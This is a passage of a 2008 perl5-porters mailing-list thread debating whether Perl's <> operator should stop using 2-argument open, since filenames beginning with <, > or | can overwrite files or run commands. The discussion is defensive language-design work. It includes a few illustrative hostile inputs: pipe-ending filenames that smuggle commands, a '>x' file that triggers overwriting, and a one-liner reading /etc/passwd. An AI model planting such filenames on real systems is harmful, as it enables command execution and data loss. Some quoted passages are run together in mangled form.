It's an interesting point. Perl has many operators that seem to be best designed for golfing, rather than writing a maintainable complex program with consistent error messages. I was tempted to say "good" point - but given Perl's history in this regard, saying "good" would be saying that Perl is wrong, which I don't think is fair. Perl is a bit of everything to a bit of everybody. It has object-oriented programming support for one set of people, but many people refuse to use, or never learn how to use, the object-oriented support. To say that one group is right or wrong is just incorrect. Perl 4 was designed for the non-object-oriented crowd. Perl 5 was designed for the object-oriented crowd, but maintaining full compatibility and capability for the Perl 4 users. Another example is the '||' vs '??' operator. For the longest time, people have been asking for the '??' operator, but it was not provided. People chose the inaccurate '||' operator, instead of 'defined(...) ? ... : ...', because it was shorter and some felt it expressed the intention more succinctly. Were these people wrong? It depends on the risk of '||'. How often do people intend for '0' to be different from '' or undef? It's pretty rare. The pedantic programmer will always use defined() and/or length(), but the non-pedantic programmer may still choose '||'. What's the worst that can happen? We talked about the $ RE operator already. In earlier versions of Perl, there was no \z. People used $, even though it would successfully match before a trailing newline. Are these people wrong? Again, this comes to pedantic vs not. What's the worst that can happen if one uses $ instead of \z? Are people wrong for using $ when they really should be using \z? This depends on the risk exposure. My point is that programs don't have to be perfect, and no matter how hard you try, you will never make the language bullet-proof. The balance of flexibility vs security will always be fought. This issue will not be the end of it, and changing <> to use 3-arg open is not necessarily going to make programs bullet-proof where they were not bullet-proof before. It's possible, but it's also possible that somebody relies on the existing behaviour and they will be broken where they were not broken before. Show quoted text
> I can understand that perl or other tools contain features which are > sharp tools and liable to cut you if you use them unwisely. Normally, > however, such rough edges are marked in the language syntax so only > those who know what they are doing will use them. Even C, not > renowned as a safe language for the non-expert, makes you type a > little bit of syntax if you want to perform the potentially unsafe > operation of casting a pointer to an integer or back again. >
C is a lot easier to screw up than Perl. I wouldn't use C as an example for anything related to security or program robustness. Show quoted text
> One option we have is to accept that, as you say, <> is not a 'real > operator' to be used by 'complex programs'. That would imply changing > all the perl documentation to avoid it, printing new editions of > O'Reilly books, filing bug reports against all the code that > mistakenly uses it without intending the magical behaviour, and > sending thousands of perl programmers on re-education courses where > they can learn about the dangers of <> and the correct (much longer > and more awkward) code to use instead. In principle, this may well be > the right thing to do, but it sounds like a lot of work. >
I am not sure whether it is necessary work either. Complex programs often cannot be wrapped with <>. As soon as one needs to perform argument parsing, it becomes a leap to splice() out the arguments and continue with <>. I'm sure people have done this before, but I can't think of a single program I have that does this. I like to control my error output to be consistent with the rest of the program. Again, <> doesn't serve my purposes here. I've rarely ever used <> explicitly. It is most useful for perl -pe/-ne an its implicit use. Golfing for some, or write quick snippets to accomplish a short term practical goal. It's possible my memory is failing me - but I don't remember a single case in almost two decades where perl -pe/-ne has failed for me because a filename started with space. I guess it could happen, but it just hasn't. Show quoted text
> In return, Aristotle P. and I have asked for an actual case where the > magical feature is useful, and you have not been able to provide that. > (With the possible exception of Microsoft Windows.) >
Correct. However, it being useful vs it being currently in use, is not a judgement that can be made without more evidence. Even if the conclusion was that it provided zero use more than the shell, the conclusion that it can be safely removed without affecting existing users is premature. Show quoted text
>> You need to prove that: a) the feature provides substantial harm >> (either in terms of maintenance effort or support issues), b) by >> removing or restricting the feature, you will provide a benefit of >> some sort (reduced maintenance effort or reduced support issues), and >> c) that the feature is not relied on by other people and existing >> code will not break >>
> > I think we've had a good crack at (c) by searching for existing code > (I could not find any where magic was intended, assuming that if the > program did have magic behaviour it would be documented) and by asking > people on this newsgroup if they use the feature. >
The problem with intent here - is that the programmer isn't the only person in the equation. The programmer uses Perl. Whether naively or due to intent (I don't see how you can tell the different from a code snippet) the interface is now open to using the features. Any user of the interface may now choose on their own whether to use the feature or not, and the original author has no control over this. Maybe it is unnecessary to use "command |" as a command line, but perhaps some Perl-capable person thinks it is cute to use "perl_program 'command |'" instead of "command | perl_program". Is this the right choice or not? It doesn't matter. the fact is that it worked, and it has worked for years. Now in Perl 5.10, you have your change put in, and all of a sudden their usage starts to fail. Who broke it? Whose fault is it? Is it the user's fault for using a feature that appeared to exist, that may or may not have been documented in the program, but was documented in Perl that they knew the program was written in or not upgrading to a new version of the program that uses <<>> (if one will ever come out)? Is it the author's fault for not upgrading to using <<>> and pushing out a new version to everybody? Is it your fault, for pushing for a non-backwards compatible change? Show quoted text
> Viewed one way, the harm is that it makes it far too easy to write > unsafe code in Perl (usually without even realizing there is a > problem) and too hard to write something which is afe. >
The same is true for eval"". This is why taint-mode exists. I think you are arguing that taint-mode should be on by default, even though I expect you will not agree. :-) Show quoted text
> In the final step to the real world, the harm done is a file > overwritten or an external command run when it should not have been, > perhaps as one step in a security hole (see the many ideas I and > others have suggested), or more benignly a simple failure to open the > file and behave as documented. >
Personally I don't care at all for the "write to a file when the intent was to read" case. To me, that's totally broken. It's "< filename" and "filename |" that I see breaking compatibility somewhere. As to how extensive? I don't know. There are other "cool" things you can do (for a certain definition of cool that I might not agree with - like): perl -pe '' 3</etc/passwd '<&3' What might this be used for you ask? Well, let's say I am a calling program, and I want to pass *two* pipes into a program. STDIN makes it easy for one pipe, but not for two. The above technique could be used to allow me to pass in content from two sources via pipes. Is this in used? I suspect not. It's a bit advanced and special, and I suspect the people capable of doing this would find another more portable way. :-) Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 15:26:04 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 421b
Tels <nospam-abuse <at> bloodgate.com> writes: Show quoted text
> use feature "unsafe_angles"; # allow <> to cut deep
I don't see a problem with that; I don't think it really matters what particular syntax is used to turn on the magical argument processing; what matters is that the simple while (<>) use be safe and unsurprising by default. I wonder how many people would really enable this feature? -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 16:29:28 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 8.8k
Mark Mielke <mark <at> mark.mielke.cc> writes: Show quoted text
>Perl has many operators that seem to be best designed for golfing, >rather than writing a maintainable complex program with consistent >error messages.
Indeed, and this is partly for historical reasons. Most of them, however, live by themselves in their own dark little corner of the language and rarely venture out to bite anybody. Perl may support formats but I have never used them and they have never caused a bug in any program I have written. I once had a bizarre bug caused by the flip-flop operator when I thought I was writing a .. numeric range. But <> is perhaps the worst of them: a very powerful (which is to say dangerous) tool disguised as a simple file-reading primitive, looking as innocent as can be in the program code, and which works well enough in normal use for most programmers to never become aware of its dark side. (If you want to join the dark side that's fine with me, but you should have to explicitly specify you are doing so.) Show quoted text
>Another example is the '||' vs '??' operator. For the longest time, >people have been asking for the '??' operator, but it was not >provided. People chose the inaccurate '||' operator, instead of >'defined(...) ? ... : ...', because it was shorter and some felt it >expressed the intention more succinctly.
It is interesting to see how many perl programs are buggy when given a filename or other input string of '0' (even perlcritic had such a bug until recently). Show quoted text
>The pedantic programmer will always use defined() and/or length(), >but the non-pedantic programmer may still choose '||'. What's the >worst that can happen?
A bug, but probably not quite as bad as the worst that can happen with <ARGV> magic :-(. Show quoted text
>My point is that programs don't have to be perfect, and no matter how >hard you try, you will never make the language bullet-proof.
Agreed, but what I hope for is to have safety by default, with extra magic and flexibility for those who explicitly ask for it. At least in this particular case. Show quoted text
>This issue will not be the end of it, and changing <> to use 3-arg >open is not necessarily going to make programs bullet-proof where >they were not bullet-proof before.
It's just one particular (IMHO particularly bad) language misfeature, not really the start of a grand campaign to stop Perl being Perl. Show quoted text
>C is a lot easier to screw up than Perl. I wouldn't use C as an >example for anything related to security or program robustness.
Indeed, I chose C as an example of one of the more dangerous languages, to say: look, even C with all its traps for the unwary, even C makes some effort to flag dangerous features with some syntax that says 'yes I know what I am doing'... Show quoted text
>Complex programs often cannot be wrapped with <>. As soon as one >needs to perform argument parsing, it becomes a leap to splice() out >the arguments and continue with <>.
I've always found you can just parse the arguments and it works, e.g. #!/usr/bin/perl use warnings; use strict; use Getopt::Std; our $opt_i; getopts('i') or die; while (<>) { print } This program accepts the -i flag and then acts like cat(1). Or rather it does't, because it will do odd things if one of the input filenames begins with Show quoted text
> or other characters, but we know all about that by now...
Show quoted text
>It's possible my memory is failing me - but I don't remember a single >case in almost two decades where perl -pe/-ne has failed for me >because a filename started with space. I guess it could happen, but >it just hasn't.
I can't think of such a case either (although another poster did have one). It is rather the existence of the bug in handling such files should they exist that troubles me, both on principle and for security reasons. But I explained all that at length in other posts so I won't repeat it here. Show quoted text
>However, it being useful vs it being currently in use, is not a >judgement that can be made without more evidence. Even if the >conclusion was that it provided zero use more than the shell, the >conclusion that it can be safely removed without affecting existing >users is premature.
Agreed, you must look at existing use, the (c) criterion in the list you mentioned. Show quoted text
>>I think we've had a good crack at (c) by searching for existing code >>(I could not find any where magic was intended, assuming that if the >>program did have magic behaviour it would be documented) and by asking >>people on this newsgroup if they use the feature.
> >The problem with intent here - is that the programmer isn't the only >person in the equation. The programmer uses Perl. Whether naively or due >to intent (I don't see how you can tell the different from a code >snippet) the interface is now open to using the features. Any user of >the interface may now choose on their own whether to use the feature or >not, and the original author has no control over this. Maybe it is >unnecessary to use "command |" as a command line, but perhaps some >Perl-capable person thinks it is cute to use "perl_program 'command |'" >instead of "command | perl_program". Is this the right choice or not? It >doesn't matter. the fact is that it worked, and it has worked for years. >Now in Perl 5.10, you have your change put in, and all of a sudden their >usage starts to fail.
This is certainly an issue. In the end any change to perl - even a pure bug fix - has the potential to break someone's code. Perhaps a user somewhere had a custom tcsh installed that did case-insensitive file globbing, and the change to internal glob() in 5.6 broke it. I don't deny that there is the potential for some real uses to get broken, I just think there are not likely to be many of them, and in the few cases where the magic really is wanted and used (even with all its faults like > and trailing spaces) by an expert user, it would not be not too difficult to explicitly turn it on. These few cases are IMHO far outweighed by the potential for mischief with the status quo and the large number of perl programs which, I contend, have bugs (and possible security holes, depending on the environment in which they are run) in file opening. That is before considering questions of language elegance and safety, whether the current messy behaviour of <> and obscure greybeard warnings in perlfunc are really an appropriate tool for beginners (or indeed anyone). I would not advocate changing the language just for elegance with no practical benefit. I hope the proposal to clean up <> and make it safe (with an option to turn on the unsafe behaviour if you really want it) has benefits both aesthetically and in practice. Show quoted text
>>Viewed one way, the harm is that it makes it far too easy to write >>unsafe code in Perl (usually without even realizing there is a >>problem) and too hard to write something which is afe.
> >The same is true for eval"".
I don't think eval is nearly as bad: it is dangerous, yes, but it is pretty clear what is going on. You can see that you are making a string (which can be arbitrary perl code) and evaluating it. Anyone ought to be able to see that this is something to think twice about. Whereas <> gives no clear indication, either visually or in the documentation, that some of the time it will go off and overwrite some random file depending on the presence of certain magic characters. It's interesting to note that in early versions of Python 'eval' was the standard mechanism to read data from standard input. Beginners were taught to read a string and then eval it to get a number. It works perfectly most of the time, and if you enter some gibberish you will get a syntax error. But it's a horribly insecure way to do things, and even if security is no concern it is horribly buggy (do you fancy documenting in your program's manual exactly what it will do given any particular input string?). Of course in modern Python programming nobody does that. This is another example of how attitudes have changed over the years. Show quoted text
>Personally I don't care at all for the "write to a file when the >intent was to read" case. To me, that's totally broken.
I agree, although as per your argument above, perhaps someone somewhere is relying on this misfeature? Show quoted text
>It's "< filename" and "filename |" that I see breaking compatibility >somewhere. As to how extensive? I don't know.
I think < is a bit pointless; it would have read from the file anyway. Only the | redirection has any practical use (on systems with not very capable shells). How many people are using this? I do not know either, but I'm pretty sure it is far fewer than the number of people who are happily using a program which claims to accept filenames on the command line, not realizing that its behaviour could be far less innocuous. Show quoted text
>perl -pe '' 3</etc/passwd '<&3'
That is certainly interesting, though Linux supports /dev/fd for this (again, consistently across all programs, not requiring special support in each on) and I imagine BSD and Solaris have some equivalent. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 19:03:33 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 6.4k
* Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:55]: Show quoted text
> Aristotle Pagaltzis wrote:
>> * Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:20]:
>>> Feel free to educate me by pointing to a situation where >>> open() handling http:// makes a PHP script exploitable, where >>> blocking http:// would have made the PHP script impenetrable.
>> >> PHP `require` uses `open`.
> > Be more specific please. You seem to be referencing some sort > of "require $variable;" where $variable is from an external > source. None of the PHP code I have does this. If you mean > something else, please be more specific. If you mean to suggest > that "require $variable;" is common - I would find this > surprising.
Then you have not been following the goings-on in the PHP world. (I would have said “not very closely” but I don’t follow them closely either and I knew of this problem.) Remember that PHP is essentially a templating system, a special-purpose language like shell rather than a general-purpose one like Perl. Its `include` originally served the same purpose as `INCLUDE` does in Template Toolkit, and unsurprisingly people use it that way. So things like `require $page."php";` where `page` is a query string parameter used to be very, very common up until a few years ago when they started getting exploited en masse. (I was witness to two separate break-ins that were initiated this way, on different systems, with escalation of privileges used to compromise the whole machine in both cases.) If such usage is uncommon now, that is because many people *did* get burned and word of mouth about the danger has spread. * Mark Mielke <mark@mark.mielke.cc> [2008-07-27 04:05]: Show quoted text
> Aristotle Pagaltzis wrote:
>> Do you regard symlink attacks as a hole in the respective >> software? If so, please explain to me how your opinion in that >> case is not self-contradictory with the opinion you expressed >> above.
> > I don't understand the question.
I am claiming that symlink attacks have the same risk profile as implicit 2-arg open: if it’s the user themselves who creates a symlink at the predicted location of a temporary file, then they’ll end up overwriting a file they already have access to. This is the worst that you said might happen to a user who gets caught out by implicit 2-arg open in `<>`. But we already know that symlink attacks are more dangerous due to their potential as part of a chain of holes, so if indeed the risk profile is identical, then implicit 2-arg open must be regarded just like a symlink vulnerability. Whether or not it has actually been exploited before. Show quoted text
> I don't agree that gets() should be removed from libc, just > because it can be exploited. I'm happy with gcc warnings > listing it as a security concern when requested. Perl's > taint-mode provides this feature and more.
No one has argued that the feature should be entirely removed. It should just no longer be the default, and should require enabling by those who do in fact wish to make use of it. And its default replacement should correctly respect `-` as a special name. This is what I am personally advocating. * Mark Mielke <mark@mark.mielke.cc> [2008-07-27 04:30]: Show quoted text
> Making <> use 3-argument open with "r" will not break any of my > programs that I have ever written, and I don't think anybody > who uses my programs would rely on the 2-argument open > "feature", as I usually de-emphasize the Perl nature of my > programs, and the programs are not primarily used by advanced > Perl programmers. :-)
Neither would it break any of the programs *I* ever wrote: I know that I have never ever used this so-called feature once. Neither has anyone on p5p who has piped up about it so far. I can see its usefulness for one-liners, but again, process substitution done in the shell is wholly sufficient as a, well, substitute, in that case. Show quoted text
> The problem I have is the desire to significantly change Perl 5 > by new comers.
I am a newcomer insofar as my experience with Perl only goes back just over one decade, not two. Show quoted text
> This is just one feature of many I've seen lately that has > raised my concern. This particular feature on its own doesn't > matter to me. Many similar changes that will eventually ensure > that some program I have running on Perl 5.004 or Perl 5.6 > today, will stop working in Perl 5.10 tomorrow, concerns me > greatly.
That is an appeal to magic spirits. The number of changes is completely irrelevant to the question of whether compatibility is retained. A single change can break compatibility just as much as 1,500 changes can retain it. Let’s please examine the specific ramifications of each one change on its own merits, objectively, independently of whether there have been too many other changes in too rapid progression for the comfort of oldtimers. Show quoted text
> At present, Perl 5.6 is widely used on our Solaris machines, > Perl 5.8 is widely used on our Linux and Windows machines, but > Perl 5.004 is still used on some of our older HP-UX and Solaris > machines. My programs already have Perl versions checks that > adjust behaviour. I am not keen to add more. Compatibility is > very important. If RHEL 6.x begins providing Perl 5.10, and a > user begins using Perl 5.10 in our application, I don't want to > be screwed. I hope this concern can be understood by the > newcomers.
I am pretty sure it is understood better than you give the so-called newcomers credit for. This is what I meant when I said I would like a way forward that will not perpetuate vestigial pragmatics for all eternity. How about addressing this by putting the choice of 3-arg open in `<>` over 2-arg open under the `feature` umbrella and having it included in the feature bundle for whatever version of Perl it goes in? That way, anyone who wants all the new features of that version automatically gets it, and anyone who doesn’t, doesn’t, which would address your concern about having to put checks for the Perl version in your code. This does concern because a naïve porting of code from a new perl to an older one will then silently make the code unsafe. So it might be better to add new syntax for the 3-arg-open diamond, so that the code will break visibly when backported, and to put a warning on unqualified use of the 2-arg-open diamond, much like C compilers warn about unqualified use of `gets`. (I know Abigail probably won’t like this, but I am not proposing this warning lightly. I have thought about various courses of action and I do think this is a case where a warning is the best approach.) Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 19:19:04 +0200
To: "Ed Avis" <eda [...] waniasset.com>
From: "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Download (untitled) / with headers
text/plain 594b
2008/7/27 Ed Avis <eda@waniasset.com>: Show quoted text
> Tels <nospam-abuse <at> bloodgate.com> writes: >
>> use feature "unsafe_angles"; # allow <> to cut deep
> > I don't see a problem with that; I don't think it really matters what particular > syntax is used to turn on the magical argument processing; what matters is that > the simple while (<>) use be safe and unsurprising by default.
I see one : all features currently are default features, that is, you get them all when doing use 5.12.0. I'd rather introduce a new syntax <<>> for unsafe angles. (and make <> safer) (but keep - = stdin)
CC: <perl5-porters [...] perl.org>
Subject: RE: [perl #2783] Security of ARGV using 2-argument open -It'safeature
Date: Sun, 27 Jul 2008 11:23:16 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 2.5k
Show quoted text
>> Yet today, gets() is deprecated and nobody uses it - whether writing >> 'security code' or not. It is just too dangerous.
> >I think gets() is an excellent example.
I was thinking of the warning given by the GNU toolchain when you compile and link a program using gets(). It's still available, but you get notified that it's not quite such an innocuous function as it might first appear. Analogously, nobody is arguing that the functionality to magically process command line arguments, running external programs or overwriting other files depending on what characters are present, should be removed from perl. Just that this feature, while useful in many cases, is too dangerous and surprising to be turned on by default for code looking as innocuous as while (<>) { print } I ans others suggest that the simple code should be safe (with no caveats, no ifs and no buts) and the magic behaviour to have a tiny extra bit of syntax to show that it is magic. ---- So far I haven't asked how useful the magic <> really is, because I do not want to argue against it based on utility, but on the fact that it leads to programs that have bugs (bug meaning not working as documented) without the programmer being aware of this. I can see that % perl my_grep_implementation E 'echo hello | tr a-z A-Z |' might be useful. But the shell on modern systems lets you say % perl my_grep_implementation E <(echo hello | tr a-z A-Z) and this works with every program, not just those implemented in perl and using <> or 2-arg open. To reuse an argument tchrist made earlier, surely it is better for this kind of redirection to be implemented in the shell rather than separately for each application. Standard Unix grep, cat, etc. do not support magic filenames with | and they do not need to, any more than they need a special syntax for redirecting stdin or stdout. The shell takes care of it in both cases. I can see that on Windows or other systems without a capable shell, the | magic might sometimes be useful. On most of those platforms | is not a legal character in filenames anyway, so there is not really a problem with 'my_app *'. However, what about '>'? % touch '>x' % perl my_grep_implementation foo * Is this behaviour ever useful? Why would you ever want the <> operator to open a file for writing? -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 17:41:32 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 4.8k
Aristotle Pagaltzis <pagaltzis <at> gmx.de> writes: Show quoted text
>No one has argued that the feature should be entirely removed. It >should just no longer be the default, and should require enabling >by those who do in fact wish to make use of it. And its default >replacement should correctly respect `-` as a special name. This >is what I am personally advocating.
I share this position. Show quoted text
>Neither would it break any of the programs *I* ever wrote: I know >that I have never ever used this so-called feature once. Neither >has anyone on p5p who has piped up about it so far. I can see its >usefulness for one-liners, but again, process substitution done >in the shell is wholly sufficient as a, well, substitute, in that >case.
I suggest keeping the magic for the -n and -p oneliners, perhaps introducing -N and -P un-magic variants if there is a desire for them. Show quoted text
>How about addressing this by putting the choice of 3-arg open in `<>` >over 2-arg open under the `feature` umbrella and having it included >in the feature bundle for whatever version of Perl it goes in? That >way, anyone who wants all the new features of that version >automatically gets it, and anyone who doesn you have to add to make >the program safely do what you thought it was doing. It means if you >write while (<>) it is dangerous by default, but there is some >special flag (which not all programmers know about, or realize they >should use, or do use) to fix it.
I also share Abigail's aversion to loading too much extra meaning onto 'use 5.12' or whatever. To keep things simple I would prefer not to conditionalize the behaviour of <> depending on two separate boolean conditions: the version of perl specified in the 'use' statement, if any, and the version actually in use. It will be quite complicated enough to change the default behaviour between 5.10 and 5.12. For extra features like 'say' I can accept that an extra 'use 5.10' must be added to the program. If you forget that line, Perl complains at the first use of 'say', and you remember to add it back. But if <> were unsafe by default and made safe only by adding an extra line, you could forget to add that line (or just be unaware of it) and never find out. The program appears to work normally in everyday use, but contains a bug. So I think whatever mechanism is used to enable the magic behaviour for those who want it, the default must be safe. Otherwise we are pretty much back where we started. I realize that there are many programs using <> out there running under older versions of perl and these programs will continue to have gotchas. There is nothing to be done about that, whatever we choose to do. All we can do is make sure that from now onwards (now meaning the next version perl) the problem is fixed. Show quoted text
>This does concern because a nang this warning >lightly. I have thought about various courses of action and I do >think this is a case where a warning is the best approach.)
I think a warning would be one fix to the problem (again, provided it appears by default and not depending on some extra magic string you have to add to your program - which includes 'use warnings') but it is not the best. If you keep <> with the same semantics as at present, then everyone still needs to go and change their code or else continue to be unsafe. Tutorials and perl documentation still need to be updated. There will be confusion for years to come about 'I thought <> was the way to read lines from files, but perl is complaining'. You would also need to decide on the new syntax for safely processing file arguments, since the safe way should not be more effort to program than the dangerous way. I think it would be better, considering the body of code out there using <> and making some reasonable guesses about author intentions and user expectations (please see earlier discussion), to just grasp the nettle and change the semantics so that <> becomes the operator to read from files, not the operator to read-from-files-except-sometimes-it-overwrites-them-or-runs-something-etc-etc. Then a new <MAGIC_ARGV> could be added to the language for people who really do like the magic behaviour. The name clearly indicates that magical things are happening under the covers, and no new syntax is needed in the grammar: just an extra reserved filehandle name. If it is understood and documented that this MAGIC_ARGV filehandle can have special behaviour for unusual filenames, this gives scope for future enhancements like the http: fetching Mark M. talked about. They could all be added to MAGIC_ARGV while keeping ordinary <> and <ARGV> safe and worry-free. So I propose changing the existing <> operator, but keep -n and -p the same for quick one-line hacks, and add a new clearly named filehandle for those who really want the old <> semantics. But the only really important point is that by default, without any extra code to type, reading input with <> should be safe for everyone to use. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 17:54:33 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.2k
Rafael Garcia-Suarez <rgarciasuarez <at> gmail.com> writes: Show quoted text
>I'd rather introduce a new syntax <<>> for unsafe angles. (and make <> >safer) (but keep - = stdin)
Instead of a new operator just for this, how do you feel about a differently named filehandle <MAGIC_ARGV> as I suggested in another post? It seems a bit clearer to me than <<>> and requires no grammar changes. It would be cool to allow modules to be written to override the default MAGIC_ARGV filehandle and provide their own magic, for example use magic_argv_uri; # fetches http: etc. use magic_argv_wildcards; # provides 'super wildcards' like ** use magic_argv_dosish; # accept Windows \ style filenames on Unix One way for the module to do that would be to close MAGIC_ARGV and make its own, but then you could not stack them. Anyway I am just speculating here, the point is that if we organize a divorce between the magicians who want 'hostname|' to fork a process and the killjoys who just want it to read a file with that name, then all sorts of new and powerful magic can be let loose (perhaps as a per-user or system-wide setting) without stepping on the toes of those who just want to read some files and continue with their boring lives. And the divorce will not be as messy as you'd think. -- Ed Avis <eda@waniasset.com>
CC: <perl5-porters [...] perl.org>
Subject: RE: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 13:44:18 +0100
To: "Mark Mielke" <mark [...] mark.mielke.cc>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 9.8k
Show quoted text
>Every program using while >(<>) has to come with a health warning that it is >unsafe to use unless you know >that no ><| characters are contained in the filenames. > >No, it doesn't. At least not until you can prove this is a >real issue hurting people every day.
I think this is a philosophical difference and perhaps one we won't be able to agree on. For me, if the program hello.c prints 'goodbye' instead of 'hello' when a file /tmp/$$$$$ exists, that is either a bug or else a gotcha to be flagged in its manual page. Even if nobody in their right mind would ever create a file with five dollar signs in it. Even if no user can ever be expected to encounter this problem short of deliberately trying to trigger it (in which case, some would argue, the user needs to be educated). For me, if the program is documented to print hello it should always do so or fail cleanly. From my point of view, the real issue 'hurting people' is that the program # This is a program to count the number lines of input in the filenames given. my $count = 0; while (<>) { ++$count } print "$count\n"; contains a bug. The bug is that it doesn't always do what the programmer expected and documented it to do. Either the program's behaviour needs to be fixed to match the doc, or the documentation needs an explanation that the program cannot correctly handle filenames beginning < > or |. Further, the bug is not just a failure to run but something more dangerous: running an external command, when nothing in the program text says anything obvious about running an external command. This is the kind of bug that leads to security holes, and while I do not have an example of where this has been exploited, that's because I do not spend my time trying to exploit systems (and if I had exploited a bug like this, I would keep quiet about it). Some think that the example program I wrote above is not buggy or dangerous, that it is the user's own fault if files exists with special characters and they run 'count_words *'. In that case, there is certainly nothing to worry about in perl. If on the other hand you believe that the above program does have something wrong - in terms of its documented behaviour versus its actual behaviour - then you might go on to look to see if there are other cases of the same bug, and wonder whether perl's current semantics, combined with poor tutorial material, make it much too tempting and easy to write such buggy code without realizing it. I would add that security-related bugs are different from other bugs in one important way. For the hello world program above, it probably doesn't matter in practice that it has the bug of occasionally printing 'goodbye' under bizarre circumstances. If I were the program's maintainer, I might make a similar argument to yours: unless there is a case where this has gone wrong in practice, it's not worth fixing. The printing of 'goodbye' instead of 'hello' is unlikely to help someone attack your system or to disclose information. But if there is a possible security implication (and I hope you agree that running an arbitrary external command, under the control of whoever can create files in the current directory, when 'my_program *' is executed, has at least some security implication), then you can't just dismiss the circumstances that trigger the bug as unlikely to occur in practice. You assume the attacker will set things up so those circumstances are present. To go back to the gets() example, you mentioned that as long as the program allocated a million byte buffer, it would be safe to use gets(). Not so in general. The attacker could feed a million and one bytes of input. Incredibly unlikely in 'legitimate' usage; an entirely possible attack vector in anything that might deal with network requests or pipes beween one program and another. (Even if both sides of the pipe are running as the same user, you would not want an attacker who subverted one process to be able to take control of the other by sending it enough data to overflow the buffer.) So I don't think that dismissing the bug as 'theory only' is appropriate. -- Ed Avis <eda@waniasset.com> Show quoted text
>-----Original Message----- >From: Mark Mielke [mailto:mark@mark.mielke.cc] >Sent: Saturday, July 26, 2008 4:57 PM >To: Ed Avis >Cc: perl5-porters@perl.org >Subject: Re: [perl #2783] Security of ARGV using 2-argument >open - It'safeature > >Ed Avis wrote: > > Mark Mielke <mark <at> mark.mielke.cc> writes: > > > > What legitimate scenarios use files with names "<x"? > > > > Very few. But if such a filename does exist, you'd >want the program to handle > it in a sane way. > > Unfortunately the world is not always legitimate. > > > > Remember gets() in the standard C library? What's the >problem with it? No > legitimate use would ever enter a million characters of >text when given a prompt > to enter 'yes' or 'no'. And if users are so stupid as >to enter too much text > and overflow the fixed buffer, that is a problem with >the users and they should > be educated to take more care. > > Yet today, gets() is deprecated and nobody uses it - >whether writing 'security > code' or not. It is just too dangerous. > > > >You are exaggerating. If anybody truly allocated a buffer for >gets() that was a million characters, it wouldn't be a >problem. Allocating a Mbyte for an input buffer "just in >case", however, is ridiculous. People didn't allocate a >million characters - they allocated 64, or 512, or 1024. The >chance that this is hurt is far, far greater. You are correct >that the interface is wrong for gets() is wrong, but in your >analogy you have ignored the fact that 2-arg open is a FEATURE >not a LIMITATION. The situations are not the same. > >In gets(), there is a limitation which can cause the executing >program to see data corruption, arbitrary code execution, or >program termination. > >In Perl <>, there is a feature that users can pass shell pipes >instead of file names or "-" instead of STDIN. The worst that >can happen is that the user requests a file they have >permission to overwrite, be overwritten. This might happen if >the user is naive enough to use ">" as the first character in >their file name. What cases of this problem exist? What cases >prove that the value of the feature is far less than the cost >of allowing the feature? Is this theory, or do you have a >legitimate complaint? > > > > > I strongly disagree. You are turning an >existing feature with existing > syntax into a non-feature, because you think >there MIGHT be a > theoretical somebody incompetent enough to hang >themselves with a bit of > rope. > > > > First I would like to say that this is best not treated >as a moral issue. Those > bad programmers, deserve what they get, we should teach >them a lesson, etc. > > > >You are incorrect. Programming languages can do baby sitting >duty, or they can provide plenty of rope. There is a need for >both in this world. Both types of languages exist today. Perl >has traditionally been the "plenty of rope" type, and this is >a major reason why Perl adoption was so high for many years. >What other scripting languages allowed users to run arbitrary >system calls? You are suggesting that this Perl tradition be >turned over. Your reason for requesting it is a trivial >theoretical case that has probably happened once in the life >time of Perl. > > > > If the measure of incompetence is using 'while (<>)' in >a program without > realizing that it is dangerous, then I have been >incompetent many times and so > have lots of others. Again, have a look at the >examples you can find on Google > Code Search. All of these people have been incompetent >and written programs > that are unsafe to use on arbitrary lists of files. >All the programs either > need to be patched to use a safe form of open, or else >need to mention the > gotcha in their documentation. > > > >Your definition of unsafe and mine are different. What is the >worst that can happen with these theoretically unsafe programs? > >Somebody has a file called ">fun". they pass "*" in. Their >program overwrites "fun". So what? In order for their to be >damage, "fun" would need to exist and contain valuable >information. What are the chances that both ">fun" and "fun" exist? > >The only danger is in setuid usage, where one uses special >privileges to overwrite a file they should not have access to. >This is precisely what taint-mode is for, and I fully agree >that <> should raise issues in taint-mode. > >I don't agree at all that non-taint-mode should warn or error >or have alternate behaviour from <> as it is today. > > > > The bar for incompetence or being a dimwit is set >remarkably low IMHO. Surely > you should not need to be one of the expert 10% (or >even the top 90%) to read > some files and count the number of lines. Yet I bet >that if you get a sample of > perl programmers and ask them to implement a simple 'wc >-l' in perl, more than > nine out of ten will write one that breaks if given a >filename beginning with >, > and most of those without even thinking there might be 